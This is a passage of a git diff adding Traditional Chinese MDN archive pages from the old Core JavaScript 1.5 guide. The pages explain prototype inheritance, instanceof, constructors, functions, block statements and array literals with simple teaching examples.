教學/再談屬性的繼承/沒有多重繼承">沒有多重繼承</a></li>
+</ul>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:職員的例子:更靈活的建構子", "Core_JavaScript_1.5_教學:再談屬性的繼承:局域值和繼承值") }}</p>
+</div>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited", "es": "es/Gu\u00eda_JavaScript_1.5/M\u00e1s_sobre_la_herencia_de_propiedades", "ja": "ja/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Powr\u00f3t_dziedziczenia_w\u0142asno\u015bci" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/實體關係的確定/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/實體關係的確定/index.html
new file mode 100644
index 0000000000..62289c448c
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/實體關係的確定/index.html
@@ -0,0 +1,44 @@
+---
+title: 實體關係的確定
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/再談屬性的繼承/實體關係的確定
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<h3 id="實體關係的確定" name="實體關係的確定">實體關係的確定</h3>
+<p>Javascript 搜尋屬性時，會先從物件內部所擁有的屬性開始，如果找不到屬性的名稱，就會從特殊的物件屬性 <code>__proto__</code> 內部搜尋。不斷反覆執行；這個過程就稱為〝在原型鏈中搜尋〞。</p>
+<p>當物件建構完成時，就會設定這個特殊的屬性 <code>__proto__</code>；他會被設成建構子的 <code>prototype</code> 屬性的值。因此，表達式 <code>new Foo()</code> 會以 <code>__proto__ == <code class="moz-txt-verticalline">Foo.prototype</code></code> 來建立物件。因此，變更 <code class="moz-txt-verticalline">Foo.prototype</code> 的屬性，就會改變所有由 <code>new Foo()</code> 所建立的物件的屬性的搜尋。</p>
+<p>每一個物件都有 <code>__proto__</code> 物件屬性（除了 <code>Object</code> 以外）；每一個函數都有 <code>prototype</code> 物件屬性。所以物件可藉由“原型的繼承”與其他物件建立起關係。你可以藉由物件的 <code>__proto__</code> 與函數的 <code>prototype</code> 物件的比較來對繼承進行測試。JavaScript 也提供了便捷方式︰<code>instanceof</code> 運算子會對照函數以檢測物件，如果這個物件繼承自函數的原型，就返回 true。例如，</p>
+<pre>var f = new Foo();
+var isTrue = (f instanceof Foo);</pre>
+<p>舉個更詳細的例子，假設你有顯示在 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E8%81%B7%E5%93%A1%E7%9A%84%E4%BE%8B%E5%AD%90/%E7%89%A9%E4%BB%B6%E7%9A%84%E5%B1%AC%E6%80%A7/%E5%B1%AC%E6%80%A7%E7%9A%84%E7%B9%BC%E6%89%BF" title="zh tw/Core JavaScript 1.5 教學/職員的例子/物件的屬性/屬性的繼承">屬性的繼承</a> 中的同一組定義。並建立 <code>Engineer</code> 物件如下︰</p>
+<pre>chris = new Engineer("Pigman, Chris", ["jsd"], "fiji");
+</pre>
+<p>對於這個物件，以下語句全部為 true︰</p>
+<pre>chris.__proto__ == Engineer.prototype;
+chris.__proto__.__proto__ == WorkerBee.prototype;
+chris.__proto__.__proto__.__proto__ == Employee.prototype;
+chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype;
+chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null;
+</pre>
+<p>有鑑於此，你可以編寫 <code>instanceOf</code> 函數如下︰</p>
+<pre>function instanceOf(object, constructor) {
+   while (object != null) {
+      if (object == constructor.prototype)
+         return true;
+      object = object.__proto__;
+   }
+   return false;
+}
+</pre>
+<p>根據這個定義，以下語句全部為 true︰</p>
+<pre>instanceOf (chris, Engineer)
+instanceOf (chris, WorkerBee)
+instanceOf (chris, Employee)
+instanceOf (chris, Object)
+</pre>
+<p>但下面的表達式是 false︰</p>
+<pre>instanceOf (chris, SalesPerson)
+</pre>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:再談屬性的繼承:局域值和繼承值", "Core_JavaScript_1.5_教學:再談屬性的繼承:建構子中的全域資訊") }}</p>
+</div>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/Determining_Instance_Relationships", "es": "es/Gu\u00eda_JavaScript_1.5/M\u00e1s_sobre_la_herencia_de_propiedades/Determinando_relaciones_de_instancia", "ja": "ja/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/Determining_Instance_Relationships", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Powr\u00f3t_dziedziczenia_w\u0142asno\u015bci/Okre\u015blanie_wzajemnych_relacji_obiektu" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/局域值和繼承值/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/局域值和繼承值/index.html
new file mode 100644
index 0000000000..f5427d085b
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/局域值和繼承值/index.html
@@ -0,0 +1,55 @@
+---
+title: 局域值和繼承值
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/再談屬性的繼承/局域值和繼承值
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<h3 id="局域值和繼承值" name="局域值和繼承值">局域值和繼承值</h3>
+<p>當你存取物件屬性的時候，JavaScript 會進行這些步驟，如同本章前面所提到過的︰</p>
+<ol> <li>檢查局域值是否存在。如果存在，就返回局域值。</li> <li>如果局域值不存在，就檢查原型鏈（使用 <code>__proto__</code> 屬性）。</li> <li>如果在原型鏈上的物件具有所求的指定屬性，就返回這個屬性的值。</li> <li>如果找不到這樣的屬性，這個物件就不具有這個屬性。</li>
+</ol>
+<p>這些步驟之後的結果，取決於你如何循著這個方式來定義。一開始的例子有這些定義︰</p>
+<pre>function Employee () {
+this.name = "";
+this.dept = "general";
+}
+
+function WorkerBee () {
+this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+<p>藉由這些定義，假定你以如下語句建立 <code>amy</code> 作為 <code>WorkerBee</code> 的實體︰</p>
+<pre>amy = new WorkerBee;
+</pre>
+<p><code>amy</code> 物件具有一個局域的屬性，<code>projects</code>。<code>name</code> 和 <code>dept</code> 屬性的值並不是 <code>amy</code> 的局域值，所以是從 <code>amy</code> 物件的 <code>__proto__</code> 屬性得來的。因此，<code>amy</code> 具有這些屬性值︰</p>
+<pre>amy.name == "";
+amy.dept == "general";
+amy.projects == [];
+</pre>
+<p>現在假定你在與 <code>Employee</code> 連結的原型改變 <code>name</code> 屬性的值︰</p>
+<pre>Employee.prototype.name = "Unknown"
+</pre>
+<p>乍看之下，你可能會預期新的值會被向下傳播給 <code>Employee</code> 所有的實體。然而，事情並不如此。</p>
+<p>當你建立 <code>Employee</code> 物件的<em>任何</em>實體，這些實體會取得 <code>name</code> 屬性的局域值（空字串的那個）。這意味著當你使用新建立的 <code>Employee</code> 物件來設定 <code>WorkerBee</code> 原型的時候，<code>WorkerBee.prototype</code> 就具有 <code>name</code> 屬性的局域值。因此，當 JavaScript 找到 <code>amy</code> 物件（<code>WorkerBee</code> 的實體）的 <code>name</code> 屬性的時候，JavaScript 在 <code>WorkerBee.prototype</code> 找到了這些屬性的局域值。也因此並不會進一步在鏈的上一層 <code>Employee.prototype</code> 裡尋找。</p>
+<p>如果你想要在執行時期改變物件屬性的值，而且希望新的值能被這個物件的所有子孫所繼承，你就不能在物件的建構子函數中定義這個屬性。相對的，你要把這個屬性加入到與建構子相連結的原型。例如，假定你修改前面的代碼如下︰</p>
+<pre>function Employee () {
+   this.dept = "general";
+}
+Employee.prototype.name = "";
+
+function WorkerBee () {
+this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+
+amy = new WorkerBee;
+
+Employee.prototype.name = "Unknown";
+</pre>
+<p>在這個情況下，<code>amy</code> 的 <code>name</code> 屬性就會變成 "Unknown"。</p>
+<p>如同這些範例所示，如果你希望物件的屬性有預設值，而且還希望能夠在執行時期修改這些預設值，你就應該在建構子的原型中設定這些屬性，而不是在建構子函數本身。</p>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:再談屬性的繼承", "Core_JavaScript_1.5_教學:再談屬性的繼承:實體關係的確定") }}</p>
+</div>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/Local_versus_Inherited_Values", "es": "es/Gu\u00eda_JavaScript_1.5/M\u00e1s_sobre_la_herencia_de_propiedades/Valores_locales_frente_a_los_heredados", "ja": "ja/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/Local_versus_Inherited_Values", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Powr\u00f3t_dziedziczenia_w\u0142asno\u015bci/Warto\u015bci_lokalne_vs._dziedziczone" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/建構子中的全域資訊/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/建構子中的全域資訊/index.html
new file mode 100644
index 0000000000..4c7991d9e6
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/建構子中的全域資訊/index.html
@@ -0,0 +1,56 @@
+---
+title: 建構子中的全域資訊
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/再談屬性的繼承/建構子中的全域資訊
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<h3 id="建構子中的全域資訊" name="建構子中的全域資訊">建構子中的全域資訊</h3>
+<p>當你建立建構子的時候，如果你在建構子中設定全域資訊，需要很小心。例如，假定你想要自動的給每一個新的職員指定一個專有的 ID。你可以給 <code>Employee</code> 使用下面的定義︰</p>
+<pre>var idCounter = 1;
+
+function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   this.id = idCounter++;
+}
+</pre>
+<p>根據這個定義，當你建立新的 <code>Employee</code> 的時候，建構子會依序把下一個 ID 指定給他，然後增加全域 ID 的計數器。因此，如果你的下一條語句如下，<code>victoria.id</code> 為 1，且 <code>harry.id</code> 為 2︰</p>
+<pre>victoria = new Employee("Pigbert, Victoria", "pubs")
+harry = new Employee("Tschopik, Harry", "sales")
+</pre>
+<p>乍看之下很好。然而，<code>idCounter</code> 會在每一次建立 <code>Employee</code> 物件的時候遞增，而不問用途。如果你建立顯示在本章中的整個 <code>Employee</code> 階層結構，<code>Employee</code> 建構子會在你每一次設定原型的時候被呼叫。假設你有下面的代碼︰</p>
+<pre>var idCounter = 1;
+
+function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   this.id = idCounter++;
+}
+
+function Manager (name, dept, reports) {...}
+Manager.prototype = new Employee;
+
+function WorkerBee (name, dept, projs) {...}
+WorkerBee.prototype = new Employee;
+
+function Engineer (name, projs, mach) {...}
+Engineer.prototype = new WorkerBee;
+
+function SalesPerson (name, projs, quota) {...}
+SalesPerson.prototype = new WorkerBee;
+
+mac = new Engineer("Wood, Mac");
+</pre>
+<p>在此略過 <code>base</code> 屬性的定義，並呼叫原型鏈中在他們之上的建構子。在這個情況下，等到 <code>mac</code> 物件被建立的時候，<code>mac.id</code> 是 5。</p>
+<p>根據應用程式而定，計數器遞增了額外的次數，這也許重要，也許不重要。如果你很在意計數器額外的數值，有一個可能的解決方案是改用下面的建構子來代替︰</p>
+<pre>function Employee (name, dept) {
+   this.name = name || "";
+   this.dept = dept || "general";
+   if (name)
+      this.id = idCounter++;
+}
+</pre>
+<p>當你建立用作為原型的 <code>Employee</code> 實體時候，你並不需要提供參數給建構子。使用這個定義的建構子，當你並未提供參數時，建構子並不會把值代入給 id，也不會更新計數器。因此，若要 <code>Employee</code> 取得指定的 id，你就必須為職員指定名稱。在這個範例中，<code>mac.id</code> 將會是 1。</p>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:再談屬性的繼承:實體關係的確定", "Core_JavaScript_1.5_教學:再談屬性的繼承:沒有多重繼承") }}</p>
+</div>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/Global_Information_in_Constructors", "es": "es/Gu\u00eda_JavaScript_1.5/M\u00e1s_sobre_la_herencia_de_propiedades/Informaci\u00f3n_global_en_los_constructores", "ja": "ja/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/Global_Information_in_Constructors", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Powr\u00f3t_dziedziczenia_w\u0142asno\u015bci/Globalne_informacje_w_konstruktorach" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/沒有多重繼承/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/沒有多重繼承/index.html
new file mode 100644
index 0000000000..a6a5fbb793
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/再談屬性的繼承/沒有多重繼承/index.html
@@ -0,0 +1,40 @@
+---
+title: 沒有多重繼承
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/再談屬性的繼承/沒有多重繼承
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<h3 id="沒有多重繼承" name="沒有多重繼承">沒有多重繼承</h3>
+<p>部分物件導向語言允許多重繼承。也就是說，物件可以從互不相關的親物件繼承屬性和值。不過 JavaScript 並不支援多重繼承。</p>
+<p>屬性值的繼承發生在執行時期，由 JavaScript 搜尋物件的原型鏈以找出繼承值。由於物件只有單一的已連結原型，因此 JavaScript 並不能從多於一個以上的原型鏈中動態的繼承。</p>
+<p>在 JavaScript 中，建構子函數的內部可以有很多個其他的建構子函數的呼叫。如此可提供多重繼承的假象。例如，思考下面的語句︰</p>
+<pre>function Hobbyist (hobby) {
+   this.hobby = hobby || "scuba";
+}
+
+function Engineer (name, projs, mach, hobby) {
+   this.base1 = WorkerBee;
+   this.base1(name, "engineering", projs);
+   this.base2 = Hobbyist;
+   this.base2(hobby);
+   this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+
+dennis = new Engineer("Doe, Dennis", ["collabra"], "hugo")
+</pre>
+<p>接著假定 <code>WorkerBee</code> 的定義使用的是本章先前的內容。在這個情況下，<code>dennis</code> 物件就有了這些屬性︰</p>
+<pre>dennis.name == "Doe, Dennis"
+dennis.dept == "engineering"
+dennis.projects == ["collabra"]
+dennis.machine == "hugo"
+dennis.hobby == "scuba"
+</pre>
+<p>所以 <code>dennis</code> 從 <code>Hobbyist</code> 建構子中得到了 <code>hobby</code> 的屬性。然而，假定你稍後把新的屬性加入到 <code>Hobbyist</code> 建構子的原型︰</p>
+<pre>Hobbyist.prototype.equipment = ["mask", "fins", "regulator", "bcd"]
+</pre>
+<p><code>dennis</code> 物件並未繼承到這個新的屬性。</p>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:再談屬性的繼承:建構子中的全域資訊", "Core_JavaScript_1.5_教學:LiveConnect_概要") }}</p>
+</div>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/No_Multiple_Inheritance", "es": "es/Gu\u00eda_JavaScript_1.5/M\u00e1s_sobre_la_herencia_de_propiedades/Herencia_no_m\u00faltiple", "ja": "ja/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/No_Multiple_Inheritance", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Powr\u00f3t_dziedziczenia_w\u0142asno\u015bci/Brak_wielokrotnego_dziedziczenia" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/函數的呼叫/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/函數的呼叫/index.html
new file mode 100644
index 0000000000..8cd57ee52d
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/函數的呼叫/index.html
@@ -0,0 +1,33 @@
+---
+title: 函數的呼叫
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/函數的呼叫
+translation_of: Web/JavaScript/Guide/Functions
+---
+<p> </p>
+<div class="onlyinclude">
+<h3 id="函數的呼叫">函數的呼叫</h3>
+<p>定義函數並不會執行函數。函數的定義只是簡單的給函數命名，並指定當函數被呼叫的時候要做些什麼。函數的<em>呼叫</em>會以指定的參數真正的執行指定的動作。例如，如果你定義了函數 square，你可以如下呼叫。</p>
+<pre>square(5)
+</pre>
+<p>上面的語句以 5 為參數呼叫函數。函數執行他的語句，並返回 25 的值。</p>
+<p>函數的參數並不限於字串和數字。你也可以傳遞一整個物件給函數。<code>show_props</code> 函數（定義在 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E7%89%A9%E4%BB%B6%E5%92%8C%E5%B1%AC%E6%80%A7" title="zh tw/Core JavaScript 1.5 教學/物件和屬性">物件和屬性</a>）即是接收一個物件作為參數的函數的範例。</p>
+<p>函數甚至可以遞歸循環，也就是他可以呼叫他自己。例如，這裡有個計算階乘的函數︰</p>
+<pre>function factorial(n) {
+   if ((n == 0) || (n == 1))
+      return 1;
+   else {
+      var result = (n * factorial(n-1) );
+      return result;
+   }
+}
+</pre>
+<p>你可以計算一到五的階乘如下︰</p>
+<pre>a=factorial(1); // 返回 1
+b=factorial(2); // 返回 2
+c=factorial(3); // 返回 6
+d=factorial(4); // 返回 24
+e=factorial(5); // 返回 120
+</pre>
+</div>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:函數的定義", "Core_JavaScript_1.5_教學:arguments_物件的使用") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Calling_Functions", "fr": "fr/Guide_JavaScript_1.5/Appel_de_fonctions", "ja": "ja/Core_JavaScript_1.5_Guide/Calling_Functions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Wywo\u0142anie_funkcji" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/函數的定義/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/函數的定義/index.html
new file mode 100644
index 0000000000..f56f796a03
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/函數的定義/index.html
@@ -0,0 +1,42 @@
+---
+title: 函數的定義
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/函數的定義
+---
+<div class="onlyinclude"> <h3 id="函數的定義" name="函數的定義">函數的定義</h3> <p>函數的定義由以下的關鍵字所組成︰</p> <ul> <li>函數的名稱。</li> <li>傳給函數的參數的列表，以小括弧包夾、並以逗號分隔。</li> <li>用來定義函數的 JavaScript 語句，以大括弧包夾 { }。在函數裡的語句裡可含有在應用程式中已定義的其他函數的呼叫。</li> </ul> <h4 id="簡單的範例" name="簡單的範例">簡單的範例</h4> <p>舉例來說，以下代碼定義了一個簡單的函數，名為 square︰</p> <pre class="eval">function square(number) {
+  return number * number;
+}
+</pre> <p>函數 <code>square</code> 接收一個參數，稱為 <code>number</code>。函數由一個語句所組成，指示要求返回函數的參數的平方。<code>return</code> 語句用來指定函數返回的值。</p> <pre class="eval">return number * number
+</pre> <p>原始的參數是<em>以值</em>傳遞給函數。值是傳遞給函數，但是如果函數修改了參數的值，這項改變不會影響到全域或呼叫端函數裡的值。</p> <p>如果你以物件（例如，<a href="/en/JavaScript/Glossary" title="en/JS/Glossary">非原始值</a>，如陣列或使用者定義的物件）作為參數來傳遞，物件的參考會被傳遞給函數。這意味著如果函數修改了物件的屬性，函數之外也看得見這項改變，如以下範例所示︰</p> <pre class="eval">function myFunc(theObject) {
+  theObject.make="Toyota";
+}
+var mycar = {make:"Honda", model:"Accord", year:1998};
+var x=mycar.make;     // 返回 Honda
+myFunc(mycar);
+var y=mycar.make;     // 返回 Toyota（屬性已被函數修改）
+</pre> <p>注意，把新的物件代入給參數，在呼叫端將<em>不會</em>有任何的影響︰</p> <pre class="eval">function myFunc(theObject) {
+  theObject = {make:"Ford", model:"Focus", year:2006};
+}
+var mycar = {make:"Honda", model:"Accord", year:1998};
+var x=mycar.make;     // 返回 Honda
+myFunc(mycar);
+var y=mycar.make;     // 仍然返回 Honda
+</pre> <h4 id="Defining_functions_conditionally" name="Defining_functions_conditionally">有條件的函數的定義</h4> <p>函數可以根據條件來作定義。例如，給以下的函數定義︰</p> <pre class="eval">if (num == 0)
+{
+  function myFunc(theObject) {
+    theObject.make="Toyota"
+  }
+}
+</pre> <p><code>myFunc</code> 函數只會在變數 <code>num</code> 等於 0 時被定義。如果 <code>num</code> 不等於 0，函數就不會被定義，且任何企圖執行這個函數的嘗試都將會失敗。</p> <h4 id="函數的表達式" name="函數的表達式">函數的表達式</h4> <p>函數也可以在表達式裡來作定義。這稱為<strong>函數表達式</strong>。一般這類函數都是<em>無名的</em>，他沒有名稱也沒關係。例如，函數 <code>square</code> 可以定義成︰</p> <pre class="eval">var square = function(number) {return number * number};
+</pre> <p>當要傳遞函數作為參數給另一個函數時，這個作法會很方便。以下範例示範了 map 函數的定義，然後呼叫端使用無名函數作為第一個參數︰</p> <pre class="eval">function map(f,a) {
+  var result=new Array;
+  for (var i = 0; i != a.length; i++)
+    result[i] = f(a[i]);
+  return result;
+}
+</pre> <p>接著呼叫</p> <pre class="eval">map(function(x) {return x * x * x}, [0, 1, 2, 5, 10]);
+</pre> <p>返回 {{ mediawiki.external('0, 1, 8, 125, 1000') }}。</p>
+</div>
+<h4 id="參閱" name="參閱">參閱</h4>
+<p>除了如前所述定義函數以外，你也可以定義 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_教學/預先定義的核心物件/函數物件" title="zh tw/Core JavaScript 1.5 教學/預先定義的核心物件/函數物件">函數物件</a>。</p>
+<p>方法就是和物件相關聯的函數。你將會在 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_教學#%E7%89%A9%E4%BB%B6%E7%9A%84%E9%81%8B%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學#物件的運用">第 8 章，「物件的運用」</a> 中學到更多有關於物件和方法。{{ PreviousNext("Core_JavaScript_1.5_教學:例外處理語法:try...catch_語法", "Core_JavaScript_1.5_教學:函數的呼叫") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Defining_Functions", "fr": "fr/Guide_JavaScript_1.5/D\u00e9finition_de_fonctions", "ja": "ja/Core_JavaScript_1.5_Guide/Defining_Functions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Definiowanie_funkcji" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/區塊語法/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/區塊語法/index.html
new file mode 100644
index 0000000000..b0ce8a87d2
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/區塊語法/index.html
@@ -0,0 +1,33 @@
+---
+title: 區塊語法
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/區塊語法
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<h3 id="區塊語法" name="區塊語法">區塊語法</h3>
+<p>區塊語法用於把語句群組化。區塊的範圍是由一對大括號所界定︰</p>
+<pre class="eval">{
+   statement_1
+   statement_2
+   .
+   .
+   .
+   statement_n
+}
+</pre>
+<p><strong>範例</strong><br> 區塊語法通常和流程控制語法（例如 <code>if</code>、<code>for</code>、<code>while</code>）一併使用。</p>
+<pre class="eval">while (x &lt; 10) {
+   x++;
+}
+</pre>
+<p>此處，<code>{ x++; }</code> 就是區塊語法。</p>
+<p><strong>重要</strong>: JavaScript <strong>並沒有</strong> 區塊作用域。區塊裡的變數其作用域相當於函數或 Script，對變數的設定會一直持續到區塊本身之外。換言之，區塊語法並沒有作用域。儘管“單獨”的區塊仍是有效的句法，你也不會想要在 JavaScript 中使用單獨的區塊，因為這樣做並不會產生任何你所期待的機能，譬如說如果你期待類似 C 或 Java 而這樣做的話。例如︰</p>
+<pre class="eval">var x = 1;
+{
+   var x = 2;
+}
+alert(x); // 輸出 2
+</pre>
+<p>這樣會輸出 2，因為在區塊之內的 <code>var x</code> 語法，其作用域如同沒有區塊的 <code>var x</code> 語法。而在 C 或 Java 中，同樣的代碼將會輸出 1。</p>
+<div class="noinclude"> <p>{{ PreviousNext("Core_JavaScript_1.5_教學:正規表達式的運用:正規表達式的範例", "Core_JavaScript_1.5_教學:條件語法") }}</p>
+</div>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Block_Statement", "fr": "fr/Guide_JavaScript_1.5/D\u00e9claration_de_blocs", "ja": "ja/Core_JavaScript_1.5_Guide/Block_Statement", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Blok_instrukcji" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/字面表達/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/字面表達/index.html
new file mode 100644
index 0000000000..10e026e289
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/字面表達/index.html
@@ -0,0 +1,117 @@
+---
+title: 字面表達
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/字面表達
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<p> </p>
+<h3 id="字面表達" name="字面表達">字面表達</h3>
+<p>你在 JavaScript 使用字面表達來表示值。這是由你在 Script 中<em>直接寫下</em>的固定值，這些不是變數。本節說明下列各類型的字面表達︰</p>
+<ul> <li>{{ Anch("陣列的字面表達") }}</li> <li>{{ Anch("布林的字面表達") }}</li> <li>{{ Anch("整數") }}</li> <li>{{ Anch("浮點數的字面表達") }}</li> <li>{{ Anch("物件的字面表達") }}</li> <li>{{ Anch("字串的字面表達") }}</li>
+</ul>
+<h4 id="陣列的字面表達" name="陣列的字面表達">陣列的字面表達</h4>
+<p>陣列的字面表達是以零個以上的表達式所構成的列表，列表的每一項代表陣列的元素，以方括號 ([]) 包夾。當你使用陣列的字面表達建立陣列時，陣列會以指定的值作為元素來初始化，也會以指定的參數個數來設定陣列的長度。</p>
+<p>以下範例以三個元素和長度建立 <code>coffees</code> 陣列︰</p>
+<pre class="eval">var coffees = ["French Roast", "Colombian", "Kona"];
+</pre>
+<p><strong>附註:</strong> 陣列的字面表達是物件初始化子的一種類型。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%BB%BA%E7%AB%8B%E6%96%B0%E7%9A%84%E7%89%A9%E4%BB%B6/%E7%89%A9%E4%BB%B6%E5%88%9D%E5%A7%8B%E5%8C%96%E5%AD%90%E7%9A%84%E4%BD%BF%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學/建立新的物件/物件初始化子的使用">物件初始化子的使用</a>。</p>
+<p>如果在頂層 Script 裡使用字面表達建立陣列，每一次對含有陣列的字面表達的表達式求值時，JavaScript 就會解譯這些陣列。此外，每一次呼叫函數時，在函數中使用的字面表達就會被建立。</p>
+<p>陣列的字面表達也是 Array 物件。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%A0%90%E5%85%88%E5%AE%9A%E7%BE%A9%E7%9A%84%E6%A0%B8%E5%BF%83%E7%89%A9%E4%BB%B6/Array_%E7%89%A9%E4%BB%B6" title="zh tw/Core JavaScript 1.5 教學/預先定義的核心物件/Array 物件">Array 物件</a> 取得有關 Array 物件的細節。</p>
+<p><strong>陣列的字面表達的額外的逗號</strong></p>
+<p>你不必在陣列的字面表達中指定所有的元素。如果你放上兩個連續的逗號，就會為未指定的元素預留空間來建立陣列。以下範例建立 <code>fish</code> 陣列︰</p>
+<pre class="eval">var fish = ["Lion", , "Angel"];
+</pre>
+<p>這個陣列含有兩個附有值的元素和一個空的元素（<code>fish{{ mediawiki.external(0) }}</code> 是“Lion”，<code>fish{{ mediawiki.external(1) }}</code> 是 <code>undefined</code>，<code>fish{{ mediawiki.external(2) }}</code> 是“Angel”）。</p>
+<p>如果你在元表列表的尾部附帶逗號，這個逗號會被忽略。在下面的範例中，陣列的長度是 3，這裡不存在 <code>myList{{ mediawiki.external(3) }}</code>。所在位於列表裡面的逗號指的都是新的元素。</p>
+<pre class="eval">var myList = ['home', , 'school', ];
+</pre>
+<p>在下面的範例中，陣列的長度是 4，<code>myList{{ mediawiki.external(0) }}</code> 和 <code>myList{{ mediawiki.external(2) }}</code> 是空的。</p>
+<pre class="eval">var myList = [ , 'home', , 'school'];
+</pre>
+<p>在下面的範例中，陣列的長度是 4，<code>myList{{ mediawiki.external(1) }}</code> 和 <code>myList{{ mediawiki.external(3) }}</code> 是空的。只有最後面的逗號被忽略。</p>
+<pre class="eval">var myList = ['home', , 'school', , ];
+</pre><h4 id="布林的字面表達" name="布林的字面表達">布林的字面表達</h4>
